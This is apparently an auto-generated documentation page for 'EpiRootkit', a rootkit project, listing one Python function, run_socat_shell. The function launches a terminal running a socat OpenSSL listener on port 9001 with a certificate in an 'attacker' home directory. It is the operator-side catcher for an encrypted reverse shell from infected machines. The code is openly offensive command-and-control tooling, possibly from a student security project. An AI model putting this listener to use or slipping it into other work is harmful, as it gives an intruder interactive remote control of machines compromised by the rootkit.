EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
socat Namespace Reference

Functions

 run_socat_shell (port=9001)
 

Function Documentation

◆ run_socat_shell()

run_socat_shell (   port = 9001)

Definition at line 4 of file socat.py.

4def run_socat_shell(port=9001):
5 terminal_cmd = None
6
7 if shutil.which("kitty"):
8 command_str = (
9 f"socat openssl-listen:{port},reuseaddr,"
10 "cert=/home/attacker/attacker/server.pem,verify=0 "
11 "file:$(tty),raw,echo=0"
12 )
13 terminal_cmd = [
14 "kitty", "--hold", "-e", "bash", "-c", command_str
15 ]
16 else:
17 print("❌ Aucun terminal compatible trouvé.")
18 exit()
19
20 try:
21 subprocess.Popen(terminal_cmd)
22 print(f"🚀 Terminal distant lancé sur le port {port}.")
23 except Exception as e:
24 print(f"💥 Erreur socat : {e}")